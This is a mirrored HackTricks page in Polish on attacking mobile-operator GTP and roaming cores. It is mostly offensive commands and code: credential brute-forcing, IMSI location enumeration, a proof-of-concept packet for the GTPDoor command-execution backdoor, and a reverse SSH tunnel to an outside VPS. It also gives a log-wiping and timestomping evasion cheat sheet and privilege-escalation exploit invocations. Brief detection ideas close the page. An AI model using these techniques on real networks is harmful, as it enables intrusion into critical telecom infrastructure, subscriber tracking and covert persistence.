mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	
		
			
				
	
	
		
			141 lines
		
	
	
		
			6.5 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
			
		
		
	
	
			141 lines
		
	
	
		
			6.5 KiB
		
	
	
	
		
			Markdown
		
	
	
	
	
	
| # Telecom Network Exploitation (GTP / Roaming Environments)
 | ||
| 
 | ||
| {{#include ../../banners/hacktricks-training.md}}
 | ||
| 
 | ||
| > [!NOTE]
 | ||
| > Protokół mobilny (GPRS Tunnelling Protocol – GTP) często przechodzi przez pół-zaufane rdzenie roamingowe GRX/IPX. Ponieważ korzystają z prostego UDP z prawie żadną autoryzacją, **jakiekolwiek wejście wewnątrz perymetru telekomunikacyjnego zazwyczaj może bezpośrednio dotrzeć do rdzeniowych płaszczyzn sygnalizacyjnych**. Poniższe uwagi zbierają ofensywne sztuczki zaobserwowane w terenie przeciwko SGSN/GGSN, PGW/SGW i innym węzłom EPC.
 | ||
| 
 | ||
| ## 1. Recon & Initial Access
 | ||
| 
 | ||
| ### 1.1  Default OSS / NE Accounts
 | ||
| Zaskakująco duża liczba elementów sieciowych dostawców jest dostarczana z twardo zakodowanymi użytkownikami SSH/Telnet, takimi jak `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, …  Dedykowana lista słów znacznie zwiększa sukces brute-force:
 | ||
| ```bash
 | ||
| hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
 | ||
| ```
 | ||
| Jeśli urządzenie udostępnia tylko VRF zarządzania, najpierw przeskocz przez host skokowy (zobacz sekcję «SGSN Emu Tunnel» poniżej).
 | ||
| 
 | ||
| ### 1.2 Odkrywanie hostów w GRX/IPX
 | ||
| Większość operatorów GRX nadal pozwala na **ICMP echo** wzdłuż rdzenia. Połącz `masscan` z wbudowanymi sondami UDP `gtpv1`, aby szybko zmapować nasłuchiwacze GTP-C:
 | ||
| ```bash
 | ||
| masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
 | ||
| ```
 | ||
| ## 2. Enumerowanie subskrybentów – `cordscan`
 | ||
| 
 | ||
| Narzędzie Go tworzy pakiety **GTP-C Create PDP Context Request** i rejestruje odpowiedzi. Każda odpowiedź ujawnia aktualny **SGSN / MME** obsługujący zapytany IMSI i, czasami, odwiedzony przez subskrybenta PLMN.
 | ||
| ```bash
 | ||
| # Build
 | ||
| GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
 | ||
| 
 | ||
| # Usage (typical):
 | ||
| ./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
 | ||
| ```
 | ||
| Kluczowe flagi:
 | ||
| - `--imsi` Docelowy subskrybent IMSI
 | ||
| - `--oper` Krajowy / HNI (MCC+MNC)
 | ||
| - `-w`      Zapisz surowe pakiety do pcap
 | ||
| 
 | ||
| Ważne stałe wewnątrz binarnego pliku mogą być zmieniane, aby rozszerzyć skany:
 | ||
| ```
 | ||
| pingtimeout       = 3   // seconds before giving up
 | ||
| pco               = 0x218080
 | ||
| common_tcp_ports  = "22,23,80,443,8080"
 | ||
| ```
 | ||
| ## 3. Wykonanie kodu przez GTP – `GTPDoor`
 | ||
| 
 | ||
| `GTPDoor` to mała usługa ELF, która **wiąże UDP 2123 i analizuje każdy przychodzący pakiet GTP-C**. Gdy ładunek zaczyna się od wspólnego tagu, reszta jest deszyfrowana (AES-128-CBC) i wykonywana za pomocą `/bin/sh -c`. stdout/stderr są eksfiltrowane w wiadomościach **Echo Response**, aby żadne zewnętrzne sesje nie były nigdy tworzone.
 | ||
| 
 | ||
| Minimalny pakiet PoC (Python):
 | ||
| ```python
 | ||
| import gtpc, Crypto.Cipher.AES as AES
 | ||
| key = b"SixteenByteKey!"
 | ||
| cmd = b"id;uname -a"
 | ||
| enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
 | ||
| print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
 | ||
| ```
 | ||
| Wykrywanie:
 | ||
| * każdy host wysyłający **niezrównoważone żądania Echo** do adresów IP SGSN
 | ||
| * flaga wersji GTP ustawiona na 1, gdy typ wiadomości = 1 (Echo) – odchylenie od specyfikacji
 | ||
| 
 | ||
| ## 4. Przechodzenie przez rdzeń
 | ||
| 
 | ||
| ### 4.1  `sgsnemu` + SOCKS5
 | ||
| `OsmoGGSN` dostarcza emulator SGSN zdolny do **nawiązania kontekstu PDP w kierunku rzeczywistego GGSN/PGW**. Po negocjacji, Linux otrzymuje nowy interfejs `tun0` dostępny z roamingowego partnera.
 | ||
| ```bash
 | ||
| sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
 | ||
| -APN internet -c 1 -d
 | ||
| ip route add 172.16.0.0/12 dev tun0
 | ||
| microsocks -p 1080 &   # internal SOCKS proxy
 | ||
| ```
 | ||
| Dzięki odpowiedniemu przekierowaniu zapory, ten tunel omija VLAN-y tylko do sygnalizacji i ląduje bezpośrednio w **warstwie danych**.
 | ||
| 
 | ||
| ### 4.2  Odwrócony tunel SSH przez port 53
 | ||
| DNS jest prawie zawsze otwarty w infrastrukturach roamingowych.  Udostępnij wewnętrzną usługę SSH na swoim VPS nasłuchującą na :53 i wróć później z domu:
 | ||
| ```bash
 | ||
| ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
 | ||
| ```
 | ||
| Sprawdź, czy `GatewayPorts yes` jest włączone na VPS.
 | ||
| 
 | ||
| ## 5. Ukryte kanały
 | ||
| 
 | ||
| | Kanał | Transport | Dekodowanie | Uwagi |
 | ||
| |-------|-----------|-------------|-------|
 | ||
| | ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-bajtowy klucz + 14-bajtowe kawałki (XOR) | czysty pasywny nasłuchiwacz, brak ruchu wychodzącego |
 | ||
| | DNS – `NoDepDNS` | UDP 53 | XOR (klucz = `funnyAndHappy`) zakodowany w oktetach rekordu A | obserwuje subdomenę `*.nodep` |
 | ||
| | GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC w prywatnym IE | łączy się z legalnym czatem GTP-C |
 | ||
| 
 | ||
| Wszystkie implanty implementują watchdogi, które **timestomp** ich binaria i ponownie uruchamiają się w przypadku awarii.
 | ||
| 
 | ||
| ## 6. Arkusz oszustw w zakresie unikania obrony
 | ||
| ```bash
 | ||
| # Remove attacker IPs from wtmp
 | ||
| utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
 | ||
| 
 | ||
| # Disable bash history
 | ||
| export HISTFILE=/dev/null
 | ||
| 
 | ||
| # Masquerade as kernel thread
 | ||
| echo 0 > /proc/$$/autogroup   # hide from top/htop
 | ||
| printf '\0' > /proc/$$/comm    # appears as [kworker/1]
 | ||
| 
 | ||
| touch -r /usr/bin/time /usr/bin/chargen   # timestomp
 | ||
| setenforce 0                              # disable SELinux
 | ||
| ```
 | ||
| ## 7. Eskalacja uprawnień w Legacy NE
 | ||
| ```bash
 | ||
| # DirtyCow – CVE-2016-5195
 | ||
| gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
 | ||
| 
 | ||
| # PwnKit – CVE-2021-4034
 | ||
| python3 PwnKit.py
 | ||
| 
 | ||
| # Sudo Baron Samedit – CVE-2021-3156
 | ||
| python3 exploit_userspec.py
 | ||
| ```
 | ||
| Wskazówka dotycząca czyszczenia:
 | ||
| ```bash
 | ||
| userdel firefart 2>/dev/null
 | ||
| rm -f /tmp/sh ; history -c
 | ||
| ```
 | ||
| ## 8. Narzędzia
 | ||
| 
 | ||
| * `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – niestandardowe narzędzia opisane w poprzednich sekcjach.
 | ||
| * `FScan` : skanowanie TCP w intranecie (`fscan -p 22,80,443 10.0.0.0/24`)
 | ||
| * `Responder` : LLMNR/NBT-NS nieautoryzowany WPAD
 | ||
| * `Microsocks` + `ProxyChains` : lekkie pivotowanie SOCKS5
 | ||
| * `FRP` (≥0.37) : przechodzenie przez NAT / mostkowanie zasobów
 | ||
| 
 | ||
| ---
 | ||
| ## Pomysły na wykrywanie
 | ||
| 1. **Jakiekolwiek urządzenie inne niż SGSN/GGSN nawiązujące żądania utworzenia kontekstu PDP**.
 | ||
| 2. **Niestandardowe porty (53, 80, 443) odbierające handshake SSH** z wewnętrznych adresów IP.
 | ||
| 3. **Częste żądania Echo bez odpowiadających odpowiedzi Echo** – mogą wskazywać na sygnały GTPDoor.
 | ||
| 4. **Wysoka liczba ruchu ICMP echo-reply z dużymi, niezerowymi polami identyfikatora/sekwencji**.
 | ||
| 
 | ||
| ## Odnośniki
 | ||
| 
 | ||
| - [Palo Alto Unit42 – Infiltracja globalnych sieci telekomunikacyjnych](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
 | ||
| - 3GPP TS 29.060 – Protokół tunelowania GPRS (v16.4.0)
 | ||
| - 3GPP TS 29.281 – GTPv2-C (v17.6.0)
 | ||
| 
 | ||
| {{#include ../../banners/hacktricks-training.md}}
 |